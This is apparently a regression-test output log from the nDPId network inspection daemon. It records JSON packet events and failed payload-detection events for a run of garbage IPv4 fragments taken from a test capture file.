+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954341,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954366,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954395,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954409,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954416,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954434,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954530,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954540,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954547,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954554,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954569,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954610,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":954664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 